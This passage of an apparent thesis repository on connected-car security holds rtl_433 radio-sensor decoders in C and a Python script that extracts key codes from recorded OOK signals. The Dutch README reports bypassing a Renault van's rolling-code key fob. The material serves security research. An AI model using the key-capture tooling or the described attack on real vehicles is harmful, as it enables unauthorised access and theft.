widths, i.e.: 11 | * 7408 us to 13092 us warmup pulse, 1672 us gap, 12 | * 0: 472 us gap, 1332 us pulse 13 | * 1: 920 us gap, 888 us pulse 14 | * 1672 us repeat gap, 15 | * 0: 472 us gap, 1784 us pulse 16 | * 1: 920 us gap, 1332 us pulse 17 | * ... 18 | * 19 | * Copyright (C) 2015 Christian W. Zuckschwerdt 20 | * 21 | * This program is free software; you can redistribute it and/or modify 22 | * it under the terms of the GNU General Public License as published by 23 | * the Free Software Foundation; either version 2 of the License, or 24 | * (at your option) any later version. 25 | */ 26 | #include "rtl_433.h" 27 | #include "data.h" 28 | #include "util.h" 29 | 30 | static int generic_motion_callback(bitbuffer_t *bitbuffer) { 31 | char time_str[LOCAL_TIME_BUFLEN]; 32 | data_t *data; 33 | uint8_t *b; 34 | int code; 35 | char code_str[6]; 36 | 37 | for (int i = 0; i < bitbuffer->num_rows; ++i) { 38 | b = bitbuffer->bb[i]; 39 | // strictly validate package as there is no checksum 40 | if ((bitbuffer->bits_per_row[i] == 20) 41 | && ((b[1] != 0) || (b[2] != 0)) 42 | && count_repeats(bitbuffer, i) >= 3) { 43 | 44 | code = (b[0] << 12) | (b[1] << 4) | (b[2] >> 4); 45 | sprintf(code_str, "%05x", code); 46 | 47 | /* Get time now */ 48 | local_time_str(0, time_str); 49 | data = data_make( 50 | "time", "", DATA_STRING, time_str, 51 | "model", "", DATA_STRING, "Generic motion sensor", 52 | "code", "", DATA_STRING, code_str, 53 | NULL); 54 | 55 | data_acquired_handler(data); 56 | return 1; 57 | } 58 | } 59 | return 0; 60 | } 61 | 62 | static char *output_fields[] = { 63 | "time", 64 | "model", 65 | "code", 66 | NULL 67 | }; 68 | 69 | r_device generic_motion = { 70 | .name = "Generic wireless motion sensor", 71 | .modulation = OOK_PULSE_PWM_RAW, 72 | .short_limit = (888+1332)/2, 73 | .long_limit = (1784+2724)/2, 74 | .reset_limit = 2724*1.5, 75 | .json_callback = &generic_motion_callback, 76 | .disabled = 0, 77 | .demod_arg = 0, 78 | .fields = output_fields 79 | }; 80 | -------------------------------------------------------------------------------- /RfCatHelpers/decodeOOK.py: -------------------------------------------------------------------------------- 1 | import wave 2 | import sys 3 | from struct import * 4 | from collections import Counter 5 | 6 | track=wave.open(sys.argv[1]) 7 | frames=track.getnframes() 8 | n= 0 9 | max= 0 10 | samples= [] 11 | keylen = 12 12 | avg = 0; 13 | 14 | print "number of frames: {}".format(frames) 15 | 16 | while n < frames: 17 | n += 1 18 | current = 0 19 | frame = track.readframes(1) 20 | 21 | if len(frame) != 2 and len(frame) != 4: 22 | continue 23 | 24 | left_channel = frame[:2] 25 | 26 | current= unpack(" max: 28 | max= current; 29 | samples.append(current) 30 | 31 | 32 | avg = sum(samples) / len(samples) 33 | avg = avg + (max/100) + 100 34 | 35 | print "Max: ",str(max),"Average: ",str(avg) 36 | 37 | 38 | peaks= [] 39 | foundKeys = [] 40 | sPeak = 0 #startPeak 41 | ePeak = 0 #endPeak 42 | minPeakDistance = 1 #minimum peak distance 43 | 44 | for currFrame in range(0,len(samples)): 45 | if(samples[currFrame] > avg): 46 | if(sPeak == 0): 47 | sPeak = currFrame #~starts here 48 | else: 49 | if(sPeak != 0 and (sPeak+minPeakDistance) < currFrame ): 50 | ePeak = currFrame 51 | distance = ePeak - sPeak 52 | peaks.append({"d":distance,"s":ePeak,"e":ePeak}) 53 | sPeak = 0 54 | currentSeg = [] 55 | n = 0 56 | 57 | #get average peak distance (to see dividers between signals) 58 | #avgPeakLen = sum(peaks["d"]) / len(peaks) 59 | #avgPeakLen = sum([p['d'] for p in peaks]) / len(peaks) 60 | avgPeakLen = sum([peaks[i+1]['s'] - p['e'] for i, p in enumerate(peaks) if i < len(peaks) - 1])/(i + 1) 61 | avgPeakLen = avgPeakLen * 3 62 | print "avgpl:",avgPeakLen 63 | print "len Peaks",len(peaks) 64 | 65 | tmpBin = "" 66 | while n < len(peaks): 67 | #if(peaks[n]["d"] > avgPeakLen and len(currentSeg) > 0): 68 | if(n > 1): 69 | diff = peaks[n]["s"] - peaks[n-1]["e"] 70 | #if (diff > 30): 71 | #print diff 72 | 73 | if(n > 1 and ((peaks[n]["s"] - peaks[n-1]["e"]) > avgPeakLen and len(currentSeg) > 1)): 74 | mean = (sum(currentSeg) / len(currentSeg)) - 1 75 | for c in currentSeg: 76 | if ( c > mean ): 77 | tmpBin += "0" 78 | else: 79 | tmpBin += "1" 80 | foundKeys.append(tmpBin) 81 | #print tmpBin 82 | tmpBin = ""; 83 | currentSeg = [] 84 | else: 85 | currentSeg.append(peaks[n]["d"]) 86 | n= n + 1 87 | 88 | #leftovers 89 | if (len(currentSeg) > 0): 90 | mean = (sum(currentSeg) / len(currentSeg)) - 1 91 | for c in currentSeg: 92 | if ( c > mean ): 93 | tmpBin += "0" 94 | else: 95 | tmpBin += "1" 96 | foundKeys.append(tmpBin) 97 | tmpBin = ""; 98 | 99 | keyList = Counter(foundKeys) 100 | print "\n\n(Top)Found Keys:" 101 | 102 | 103 | 104 | x = 0 105 | for k, v in keyList.most_common(10): 106 | if (len(k) > 2 and int(k,2) != 0): 107 | x+=1 108 | print x,":",k,"(",v,") - len:",len(k), "Hex:",hex(int(k,2)) 109 | -------------------------------------------------------------------------------- /rtl_433/include/rtl_433.h: -------------------------------------------------------------------------------- 1 | #ifndef INCLUDE_RTL_433_H_ 2 | #define INCLUDE_RTL_433_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "rtl_433_devices.h" 13 | #include "bitbuffer.h" 14 | #include "data.h" 15 | 16 | #ifndef _WIN32 17 | #include 18 | #else 19 | #include 20 | #include 21 | #include 22 | #ifndef __MINGW32__ 23 | #include "getopt/getopt.h" 24 | #else 25 | #include 26 | #endif 27 | #endif 28 | 29 | #define DEFAULT_SAMPLE_RATE 250000 30 | #define DEFAULT_FREQUENCY 433920000 31 | #define DEFAULT_HOP_TIME (60*10) 32 | #define DEFAULT_HOP_EVENTS 2 33 | #define DEFAULT_ASYNC_BUF_NUMBER 32 34 | #define DEFAULT_BUF_LENGTH (16 * 16384) 35 | 36 | /* 37 | * Theoretical high level at I/Q saturation is 128x128 = 16384 (above is ripple) 38 | * 0 = automatic adaptive level limit, else fixed level limit 39 | * 8000 = previous fixed default 40 | */ 41 | #define DEFAULT_LEVEL_LIMIT 0 42 | 43 | #define MINIMAL_BUF_LENGTH 512 44 | #define MAXIMAL_BUF_LENGTH (256 * 16384) 45 | #define MAX_PROTOCOLS 91 46 | #define SIGNAL_GRABBER_BUFFER (12 * DEFAULT_BUF_LENGTH) 47 | 48 | /* Supported modulation types */ 49 | #define OOK_PULSE_MANCHESTER_ZEROBIT 3 // Manchester encoding. Hardcoded zerobit. Rising Edge = 0, Falling edge = 1 50 | #define OOK_PULSE_PCM_RZ 4 // Pulse Code Modulation with Return-to-Zero encoding, Pulse = 0, No pulse = 1 51 | #define OOK_PULSE_PPM_RAW 5 // Pulse Position Modulation. No startbit removal. Short gap = 0, Long = 1 52 | #define OOK_PULSE_PWM_PRECISE 6 // Pulse Width Modulation with precise timing parameters 53 | #define OOK_PULSE_PWM_RAW 7 // Pulse Width Modulation. Short pulses = 1, Long = 0 54 | #define OOK_PULSE_PWM_TERNARY 8 // Pulse Width Modulation with three widths: Sync, 0, 1. Sync determined by argument 55 | #define OOK_PULSE_CLOCK_BITS 9 // Level shift within the clock cycle. 56 | #define OOK_PULSE_PWM_OSV1 10 // Pulse Width Modulation. Oregon Scientific v1 57 | 58 | #define FSK_DEMOD_MIN_VAL 16 // Dummy. FSK demodulation must start at this value 59 | #define FSK_PULSE_PCM 16 // FSK, Pulse Code Modulation 60 | #define FSK_PULSE_PWM_RAW 17 // FSK, Pulse Width Modulation. Short pulses = 1, Long = 0 61 | #define FSK_PULSE_MANCHESTER_ZEROBIT 18 // FSK, Manchester encoding 62 | 63 | extern int debug_output; 64 | extern float sample_file_pos; 65 | 66 | struct protocol_state { 67 | int (*callback)(bitbuffer_t *bitbuffer); 68 | 69 | // Bits state (for old sample based decoders) 70 | bitbuffer_t bits; 71 | 72 | unsigned int modulation; 73 | 74 | /* pwm limits (provided by driver in µs and converted to samples) */ 75 | float short_limit; 76 | float long_limit; 77 | float reset_limit; 78 | char *name; 79 | unsigned long demod_arg; 80 | }; 81 | 82 | void data_acquired_handler(data_t *data); 83 | 84 | #endif /* INCLUDE_RTL_433_H_ */ 85 | -------------------------------------------------------------------------------- /rtl_433/src/devices/springfield.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | #include "data.h" 3 | #include "util.h" 4 | 5 | // Actually 37 bits for all but last transmission which is 36 bits 6 | #define NUM_BITS 36 7 | 8 | static int springfield_callback(bitbuffer_t *bitbuffer) { 9 | int ret = 0; 10 | char time_str[LOCAL_TIME_BUFLEN]; 11 | int row; 12 | int cs; 13 | int i; 14 | int nibble[NUM_BITS/4+1]; 15 | int sid, battery, transmit, channel, temp; 16 | float tempC; 17 | int moisture, uk1; 18 | int checksum; 19 | data_t *data; 20 | unsigned tmpData; 21 | unsigned savData = 0; 22 | 23 | local_time_str(0, time_str); 24 | 25 | for(row = 0; row < bitbuffer->num_rows; row++) { 26 | if(bitbuffer->bits_per_row[row] == NUM_BITS || bitbuffer->bits_per_row[row] == NUM_BITS + 1) { 27 | cs = 0; 28 | tmpData = (bitbuffer->bb[row][0] << 24) + (bitbuffer->bb[row][1] << 16) + (bitbuffer->bb[row][2] << 8) + bitbuffer->bb[row][3]; 29 | if (tmpData == 0xffffffff) { 30 | continue; // prevent false positive checksum 31 | } 32 | for(i = 0; i < (NUM_BITS/4); i++) { 33 | if((i & 0x01) == 0x01) 34 | nibble[i] = bitbuffer->bb[row][i >> 1] & 0x0f; 35 | else 36 | nibble[i] = bitbuffer->bb[row][i >> 1] >> 0x04; 37 | if(i < 7) cs ^= nibble[i]; 38 | } 39 | cs = (cs & 0xF); 40 | checksum = nibble[7]; 41 | if(checksum == cs && tmpData != savData) { 42 | savData = tmpData; 43 | sid = (nibble[0] << 4) + nibble[1]; 44 | battery = (nibble[2] >> 3) & 0x01; 45 | transmit = (nibble[2] >> 2) & 0x01; 46 | channel = (nibble[2] & 0x03) + 1; 47 | temp = ((nibble[3] << 8) + (nibble[4] << 4) + nibble[5]); 48 | if(temp >= 0xf00) temp = temp - 0x1000; 49 | tempC = temp / 10.0; 50 | moisture = nibble[6]; 51 | uk1 = nibble[8]; /* unknown. */ 52 | 53 | data = data_make( 54 | "time", "", DATA_STRING, time_str, 55 | "model", "", DATA_STRING, "Springfield Temperature & Moisture", 56 | "sid", "SID", DATA_INT, sid, 57 | "channel", "Channel", DATA_INT, channel, 58 | "battery", "Battery", DATA_STRING, battery ? "LOW" : "OK", 59 | "transmit", "Transmit", DATA_STRING, transmit ? "MANUAL" : "AUTO", 60 | "temperature_C","Temperature", DATA_FORMAT, "%.01f C", DATA_DOUBLE, tempC, 61 | "moisture", "Moisture", DATA_INT, moisture, 62 | // "uk1", "uk1", DATA_INT, uk1, 63 | NULL); 64 | data_acquired_handler(data); 65 | ret++; 66 | } 67 | } 68 | } 69 | return ret; 70 | } 71 | 72 | static char *output_fields[] = { 73 | "time", 74 | "model", 75 | "sid", 76 | "channel", 77 | "battery", 78 | "transmit", 79 | "temperature_C", 80 | "moisture", 81 | NULL 82 | }; 83 | 84 | r_device springfield = { 85 | .name = "Springfield Temperature and Soil Moisture", 86 | .modulation = OOK_PULSE_PPM_RAW, 87 | .short_limit = 2000, 88 | .long_limit = 4000, 89 | .reset_limit = 9200, 90 | .json_callback = &springfield_callback, 91 | .disabled = 0, 92 | .demod_arg = 0, 93 | .fields = output_fields 94 | }; 95 | -------------------------------------------------------------------------------- /rtl_433/src/devices/rftech.c: -------------------------------------------------------------------------------- 1 | /* RF-tech decoder 2 | * Also marked INFRA 217S34 3 | * Ewig Industries Macao 4 | * 5 | * Copyright © 2016 Erik Johannessen 6 | * 7 | * This program is free software; you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation; either version 2 of the License, or 10 | * (at your option) any later version. 11 | */ 12 | 13 | 14 | #include "rtl_433.h" 15 | #include "pulse_demod.h" 16 | #include "util.h" 17 | 18 | static int rftech_callback(bitbuffer_t *bitbuffer) { 19 | char time_str[LOCAL_TIME_BUFLEN]; 20 | bitrow_t *bb = bitbuffer->bb; 21 | uint16_t sensor_id = 0; 22 | uint8_t button; 23 | uint8_t battery; 24 | double value; 25 | data_t *data; 26 | int r; 27 | 28 | local_time_str(0, time_str); 29 | 30 | r = bitbuffer_find_repeated_row(bitbuffer, 3, 24); 31 | 32 | if(r >= 0 && bitbuffer->bits_per_row[r] == 24) { 33 | /* Example of message: 34 | * 01001001 00011010 00000100 35 | * 36 | * First byte is unknown, but probably id. 37 | * Second byte is the integer part of the temperature. 38 | * Third byte bits 0-3 is the fraction/tenths of the temperature. 39 | * Third byte bit 7 is 1 with fresh batteries. 40 | * Third byte bit 6 is 1 on button press. 41 | * 42 | * More sample messages: 43 | * {24} ad 18 09 : 10101101 00011000 00001001 44 | * {24} 3e 17 09 : 00111110 00010111 00001001 45 | * {24} 70 17 03 : 01110000 00010111 00000011 46 | * {24} 09 17 01 : 00001001 00010111 00000001 47 | * 48 | * With fresh batteries and button pressed: 49 | * {24} c5 16 c5 : 11000101 00010110 11000101 50 | * 51 | */ 52 | sensor_id = bb[r][0]; 53 | value = (bb[r][1] & 0x7f) + (bb[r][2] & 0x0f) / 10.0; 54 | if(bb[r][1] & 0x80) value = -value; 55 | 56 | battery = (bb[r][2] & 0x80) == 0x80; 57 | button = (bb[r][2] & 0x60) != 0; 58 | 59 | data = data_make("time", "", DATA_STRING, time_str, 60 | "model", "", DATA_STRING, "RF-tech", 61 | "id", "Id", DATA_INT, sensor_id, 62 | "battery", "Battery", DATA_STRING, battery ? "OK" : "LOW", 63 | "button", "Button", DATA_INT, button, 64 | "temperature", "Temperature", DATA_FORMAT, "%.01f C", DATA_DOUBLE, value, 65 | NULL); 66 | 67 | data_acquired_handler(data); 68 | 69 | return 1; 70 | } 71 | 72 | return 0; 73 | } 74 | 75 | /* 76 | * List of fields to output when using CSV 77 | * 78 | * Used to determine what fields will be output in what 79 | * order for this devince when using -F csv. 80 | * 81 | */ 82 | static char *csv_output_fields[] = { 83 | "time", 84 | "model", 85 | "id", 86 | "battery", 87 | "button", 88 | "temperature", 89 | NULL 90 | }; 91 | 92 | /* 93 | * r_device - registers device/callback. see rtl_433_devices.h 94 | * 95 | */ 96 | 97 | r_device rftech = { 98 | .name = "RF-tech", 99 | .modulation = OOK_PULSE_PPM_RAW, 100 | .short_limit = 3500, 101 | .long_limit = 5000, 102 | .reset_limit = 10000, 103 | .json_callback = &rftech_callback, 104 | .disabled = 1, 105 | .demod_arg = 0, 106 | .fields = csv_output_fields, 107 | }; 108 | -------------------------------------------------------------------------------- /rtl_433/src/devices/ibis_beacon.c: -------------------------------------------------------------------------------- 1 | /* IBIS vehicle information beacon, used in public transportation. 2 | * 3 | * The packet is 28 manchester encoded bytes with a Preamble of 0xAAB and 4 | * 16-bit CRC, containing a company ID, vehicle ID, (door opening) counter, 5 | * and various flags. 6 | * 7 | * Copyright (C) 2017 Christian W. Zuckschwerdt 8 | * 9 | * This program is free software; you can redistribute it and/or modify 10 | * it under the terms of the GNU General Public License as published by 11 | * the Free Software Foundation; either version 2 of the License, or 12 | * (at your option) any later version. 13 | */ 14 | 15 | #include "rtl_433.h" 16 | #include "util.h" 17 | 18 | static int ibis_beacon_callback(bitbuffer_t *bitbuffer) { 19 | char time_str[LOCAL_TIME_BUFLEN]; 20 | data_t *data; 21 | uint8_t search = 0xAB; // preamble is 0xAAB 22 | uint8_t msg[32]; 23 | unsigned len; 24 | unsigned pos; 25 | unsigned i; 26 | int id; 27 | int counter; 28 | int crc; 29 | int crc_calculated; 30 | char code_str[63]; 31 | 32 | // 224 bits data + 12 bits preamble 33 | if(bitbuffer->num_rows != 1 || bitbuffer->bits_per_row[0] < 232 || bitbuffer->bits_per_row[0] > 250) { 34 | return 0; // Unrecognized data 35 | } 36 | 37 | pos = bitbuffer_search(bitbuffer, 0, 0, &search, 8); 38 | if (pos > 26) { 39 | return 0; // short buffer or preamble not found 40 | } 41 | pos += 8; // skip preamble 42 | len = bitbuffer->bits_per_row[0] - pos; 43 | // we want 28 bytes (224 bits) 44 | if (len < 224) { 45 | return 0; // short buffer 46 | } 47 | len = 224; // cut the last pulse 48 | 49 | bitbuffer_extract_bytes(bitbuffer, 0, pos, (uint8_t *)&msg, len); 50 | 51 | crc_calculated = crc16_ccitt(msg, 26, 0x8005, 0x0000); 52 | crc = (msg[26] << 8) | msg[27]; 53 | if (crc != crc_calculated) { 54 | return 0; // bad crc 55 | } 56 | 57 | id = ((msg[5]&0x0f) << 12) | (msg[6] << 4) | ((msg[7]&0xf0) >> 4); 58 | counter = (msg[20] << 24) | (msg[21] << 16) | (msg[22] << 8) | msg[23]; 59 | 60 | for (i=0; i<(len+7)/8 ; ++i) { 61 | sprintf(&code_str[i*2], "%02x", msg[i]); 62 | } 63 | 64 | /* Get time now */ 65 | local_time_str(0, time_str); 66 | data = data_make( 67 | "time", "", DATA_STRING, time_str, 68 | "model", "", DATA_STRING, "IBIS beacon", 69 | "id", "Vehicle No.", DATA_INT, id, 70 | "counter", "Counter", DATA_INT, counter, 71 | "code", "Code data", DATA_STRING, code_str, 72 | "mic", "Integrity", DATA_STRING, "CRC", 73 | NULL); 74 | 75 | data_acquired_handler(data); 76 | return 1; 77 | } 78 | 79 | static char *output_fields[] = { 80 | "time", 81 | "model", 82 | "id", 83 | "counter", 84 | "code", 85 | "mic", 86 | NULL 87 | }; 88 | 89 | r_device ibis_beacon = { 90 | .name = "IBIS beacon", 91 | .modulation = OOK_PULSE_MANCHESTER_ZEROBIT, 92 | .short_limit = 30, // Nominal width of clock half period [us] 93 | .long_limit = 0, // Not used 94 | .reset_limit = 100, // Maximum gap size before End Of Message [us]. 95 | .json_callback = &ibis_beacon_callback, 96 | .disabled = 0, 97 | .demod_arg = 0, 98 | .fields = output_fields, 99 | }; 100 | -------------------------------------------------------------------------------- /rtl_433/include/pulse_detect.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Pulse detection functions 3 | * 4 | * Copyright (C) 2015 Tommy Vestermark 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 2 of the License, or 8 | * (at your option) any later version. 9 | */ 10 | 11 | #ifndef INCLUDE_PULSE_DETECT_H_ 12 | #define INCLUDE_PULSE_DETECT_H_ 13 | 14 | #include 15 | 16 | #define PD_MAX_PULSES 1200 // Maximum number of pulses before forcing End Of Package 17 | #define PD_MIN_PULSES 16 // Minimum number of pulses before declaring a proper package 18 | #define PD_MIN_PULSE_SAMPLES 10 // Minimum number of samples in a pulse for proper detection 19 | #define PD_MIN_GAP_MS 10 // Minimum gap size in milliseconds to exceed to declare End Of Package 20 | #define PD_MAX_GAP_MS 100 // Maximum gap size in milliseconds to exceed to declare End Of Package 21 | #define PD_MAX_GAP_RATIO 10 // Ratio gap/pulse width to exceed to declare End Of Package (heuristic) 22 | #define PD_MAX_PULSE_MS 100 // Pulse width in ms to exceed to declare End Of Package (e.g. for non OOK packages) 23 | 24 | /// Data for a compact representation of generic pulse train 25 | typedef struct { 26 | unsigned int num_pulses; 27 | int pulse[PD_MAX_PULSES]; // Contains width of a pulse (high) 28 | int gap[PD_MAX_PULSES]; // Width of gaps between pulses (low) 29 | int ook_low_estimate; // Estimate for the OOK low level (base noise level) at beginning of package 30 | int ook_high_estimate; // Estimate for the OOK high level at end of package 31 | int fsk_f1_est; // Estimate for the F1 frequency for FSK 32 | int fsk_f2_est; // Estimate for the F2 frequency for FSK 33 | } pulse_data_t; 34 | 35 | 36 | /// Clear the content of a pulse_data_t structure 37 | void pulse_data_clear(pulse_data_t *data); // Clear the struct 38 | 39 | /// Print the content of a pulse_data_t structure (for debug) 40 | void pulse_data_print(const pulse_data_t *data); 41 | 42 | 43 | /// Demodulate On/Off Keying (OOK) and Frequency Shift Keying (FSK) from an envelope signal 44 | /// 45 | /// Function is stateful and can be called with chunks of input data 46 | /// @param envelope_data: Samples with amplitude envelope of carrier 47 | /// @param fm_data: Samples with frequency offset from center frequency 48 | /// @param len: Number of samples in input buffers 49 | /// @param samp_rate: Sample rate in samples per second 50 | /// @param *pulses: Will return a pulse_data_t structure 51 | /// @param *fsk_pulses: Will return a pulse_data_t structure for FSK demodulated data 52 | /// @return 0 if all input sample data is processed 53 | /// @return 1 if OOK package is detected (but all sample data is still not completely processed) 54 | /// @return 2 if FSK package is detected (but all sample data is still not completely processed) 55 | int pulse_detect_package(const int16_t *envelope_data, const int16_t *fm_data, int len, int16_t level_limit, uint32_t samp_rate, pulse_data_t *pulses, pulse_data_t *fsk_pulses); 56 | 57 | 58 | /// Analyze and print result 59 | void pulse_analyzer(pulse_data_t *data, uint32_t samp_rate); 60 | 61 | 62 | #endif /* INCLUDE_PULSE_DETECT_H_ */ 63 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Beveiliging van de connected car 2 | “Securing the connected car” is een brandend actueel onderwerp. Het is voor iedereen van uiterst belang dat onze wagen veilig is. Zijn de verschillende automerken op de hoogte van de huidige problematiek en wat doen ze eraan? 3 | 4 | Het onderzoek is opgedeeld in twee delen. Enerzijds een informatieonderzoek waar ik de basis en de achtergrond van de wagen uit de doeken doe. Meerbepaald: 5 | 6 | Welke technologieën gebruikt men in een wagen en hoe kunnen deze in theorie misbruikt worden? 7 | Wat zijn de opkomende technieken en hoe zouden deze uitgebuit kunnen worden? 8 | Vervolgens leg ik kort enkele bedreigingsmodellen uit en het DREAD rating systeem. 9 | Ten slotte beschrijf ik welke aanvallen er momenteel bestaan en hoe ze te werk gaan. 10 | 11 | 12 | Anderzijds, in het tweede deel probeer ik zelf op een experimentele wijze een aanval uit te voeren op een voertuig. De achterliggende vraag is het mogelijk om met een basiskennis programmeren en een beperkt budget ongeoorloofd toegang te krijgen tot een voertuig? Welke hacks hebben de afgelopen jaar aandacht gekregen en wat houden ze precies in? 13 | 14 | Het is inderdaad mogelijk om een aanval uit te voeren op een voertuig. Specifiek heb ik dit gedaan op een Renault bestelwagen. Men is volop bezig met het verbeteren van de veiligheid van wagens tegen diefstal. Moderne wagens die momenteel van de productielijn rollen zijn al een pak beter beveiligd dan deze van enkele jaren geleden. Met het fenomeen “the internet of things” kunnen fabrikanten eenvoudiger en sneller updates uitbrengen voor hun wagens. Zo hoeft de wagen niet naar een garage gebracht te worden om een software update te krijgen, maar kan dit via het draadloos netwerk in de wagen. Tijdens het experimenteel onderzoek heb ik mij specifiek toegespitst om een aanval op de radiozender (sleutel) van de wagen uit te voeren. Er zijn nog tientallen deelvelden die verder onderzoek vereisen zoals het PKES systeem in wagens. Algemeen besluit: in de afgelopen jaren heeft de auto sector al een vooruitgang geboekt inzake veiligheid en diefstal preventie. Meer mensen beginnen online en in groep samen te werken om dergelijke kwetsbaarheden te delen. Niettegenstaande is het wel nog een feit dat nog te weinig mensen op de hoogte zijn van de zwakheden van hun auto. 15 | 16 | 17 | 18 | Nog dagelijks kunt u artikels terugvinden over autodiefstallen. Het lijkt mij akelig om te weten dat iemand met slechte bedoelingen zomaar uw wagen kan openen of zelf besturen. 19 | Daarom vind ik het interessant om via deze thesis de veiligheid van onze voertuigen in de kijker te plaatsen. Zowel voor de gebruikers van dit transportmiddel als voor de ontwikkelaars. 20 | 21 | * Heeft men de afgelopen twee jaar vooruitgang geboekt op het vlak van antidiefstal bij wagens? 22 | * Men heeft zeker vooruitgang geboekt. Men is druk bezig met het verbeteren van de antidiefstal systemen. Maar laat één iets duidelijk zijn we zijn er nog niet. 23 | 24 | * Kan iemand met een beperkte kennis en budget, eenvoudig ongeoorloofd toegang verkrijgen tot een wagen die men dagelijks gebruikt en dus aanziet als veilig? 25 | * Uit deze thesis kunnen we afleiden dat het mogelijk is om als leek een AM/OOK sleutel met een rolling code systeem te omzeilen. 26 | 27 | -------------------------------------------------------------------------------- /rtl_433/include/rtl_433_devices.h: -------------------------------------------------------------------------------- 1 | #ifndef INCLUDE_RTL_433_DEVICES_H_ 2 | #define INCLUDE_RTL_433_DEVICES_H_ 3 | 4 | #include "bitbuffer.h" 5 | 6 | #define DEVICES \ 7 | DECL(silvercrest) \ 8 | DECL(rubicson) \ 9 | DECL(prologue) \ 10 | DECL(waveman) \ 11 | DECL(steffen) \ 12 | DECL(elv_em1000) \ 13 | DECL(elv_ws2000) \ 14 | DECL(lacrossetx) \ 15 | DECL(template) \ 16 | DECL(acurite_rain_gauge) \ 17 | DECL(acurite_th) \ 18 | DECL(oregon_scientific) \ 19 | DECL(mebus433) \ 20 | DECL(intertechno) \ 21 | DECL(newkaku) \ 22 | DECL(alectov1) \ 23 | DECL(cardin) \ 24 | DECL(fineoffset_WH2) \ 25 | DECL(nexus) \ 26 | DECL(ambient_weather) \ 27 | DECL(calibeur_RF104) \ 28 | DECL(X10_RF) \ 29 | DECL(DSC) \ 30 | DECL(brennenstuhl_rcs_2044) \ 31 | DECL(gt_wt_02) \ 32 | DECL(danfoss_CFR) \ 33 | DECL(ec3k) \ 34 | DECL(valeo) \ 35 | DECL(chuango) \ 36 | DECL(generic_remote) \ 37 | DECL(tfa_twin_plus_303049) \ 38 | DECL(fineoffset_wh1080) \ 39 | DECL(wt450) \ 40 | DECL(lacrossews) \ 41 | DECL(esperanza_ews) \ 42 | DECL(efergy_e2_classic) \ 43 | DECL(kw9015b) \ 44 | DECL(generic_temperature_sensor) \ 45 | DECL(wg_pb12v1) \ 46 | DECL(acurite_txr) \ 47 | DECL(acurite_986) \ 48 | DECL(hideki_ts04) \ 49 | DECL(oil_watchman) \ 50 | DECL(current_cost) \ 51 | DECL(emontx) \ 52 | DECL(ht680) \ 53 | DECL(s3318p) \ 54 | DECL(akhan_100F14) \ 55 | DECL(quhwa) \ 56 | DECL(oregon_scientific_v1) \ 57 | DECL(proove) \ 58 | DECL(bresser_3ch) \ 59 | DECL(springfield) \ 60 | DECL(oregon_scientific_sl109h) \ 61 | DECL(acurite_606) \ 62 | DECL(tfa_pool_thermometer) \ 63 | DECL(kedsum) \ 64 | DECL(blyss) \ 65 | DECL(steelmate) \ 66 | DECL(schraeder) \ 67 | DECL(lightwave_rf) \ 68 | DECL(elro_db286a) \ 69 | DECL(efergy_optical) \ 70 | DECL(hondaremote) \ 71 | DECL(template) \ 72 | DECL(fineoffset_XC0400) \ 73 | DECL(radiohead_ask) \ 74 | DECL(kerui) \ 75 | DECL(fineoffset_wh1050) \ 76 | DECL(honeywell) \ 77 | DECL(maverick_et73x) \ 78 | DECL(rftech) \ 79 | DECL(lacrosse_TX141TH_Bv2) \ 80 | DECL(acurite_00275rm) \ 81 | DECL(lacrosse_tx35) \ 82 | DECL(lacrosse_tx29) \ 83 | DECL(vaillant_vrt340f) \ 84 | DECL(fineoffset_WH25) \ 85 | DECL(fineoffset_WH0530) \ 86 | DECL(ibis_beacon) \ 87 | DECL(oil_standard) \ 88 | DECL(tpms_citroen) \ 89 | DECL(oil_standard_ask) \ 90 | DECL(thermopro_tp11) \ 91 | DECL(solight_te44) \ 92 | DECL(smoke_gs558) \ 93 | DECL(generic_motion) \ 94 | DECL(tpms_toyota) \ 95 | DECL(tpms_ford) \ 96 | DECL(tpms_renault) \ 97 | DECL(infactory) 98 | 99 | typedef struct { 100 | char name[256]; 101 | unsigned int modulation; 102 | float short_limit; 103 | float long_limit; 104 | float reset_limit; 105 | int (*json_callback)(bitbuffer_t *bitbuffer); 106 | unsigned int disabled; 107 | uintptr_t demod_arg; // Decoder specific optional argument (may be pointer to struct) 108 | char **fields; // List of fields this decoder produces; required for CSV output. NULL-terminated. 109 | } r_device; 110 | 111 | #define DECL(name) extern r_device name; 112 | DEVICES 113 | #undef DECL 114 | 115 | #endif /* INCLUDE_RTL_433_DEVICES_H_ */ 116 | -------------------------------------------------------------------------------- /rtl_433/src/devices/schraeder.c: -------------------------------------------------------------------------------- 1 | /* Schrader TPMS protocol 2 | * 3 | * Copyright (C) 2016 Benjamin Larsson 4 | * and 2017 Christian W. Zuckschwerdt 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | */ 11 | 12 | /** 13 | * Packet payload: 1 sync nibble and 8 bytes data, 17 nibbles 14 | * 15 | * 0 12 34 56 78 9A BC DE F0 16 | * 7 f6 70 3a 38 b2 00 49 49 17 | * S PF FI II II II PP TT CC 18 | * 19 | * S = sync 20 | * P = preamble (0xf) 21 | * F = flags 22 | * I = id (28 bit) 23 | * P = pressure from 0 bar to 6.375 bar, resolution of 25mbar per bit 24 | * T = temperature from -50 C to 205 C (1 bit = 1 temperature count 1 C) 25 | * C = CRC8 from nibble 1 to E 26 | */ 27 | 28 | #include "rtl_433.h" 29 | #include "pulse_demod.h" 30 | #include "util.h" 31 | 32 | static int schraeder_callback(bitbuffer_t *bitbuffer) { 33 | char time_str[LOCAL_TIME_BUFLEN]; 34 | data_t *data; 35 | uint8_t b[8]; 36 | uint32_t serial_id; 37 | char id_str[9]; 38 | int flags; 39 | char flags_str[3]; 40 | int pressure; // mbar 41 | int temperature; // deg C 42 | 43 | /* Reject wrong amount of bits */ 44 | if ( bitbuffer->bits_per_row[0] != 68) 45 | return 0; 46 | 47 | /* shift the buffer 4 bits to remove the sync bits */ 48 | bitbuffer_extract_bytes(bitbuffer, 0, 4, b, 64); 49 | 50 | /* Calculate the crc 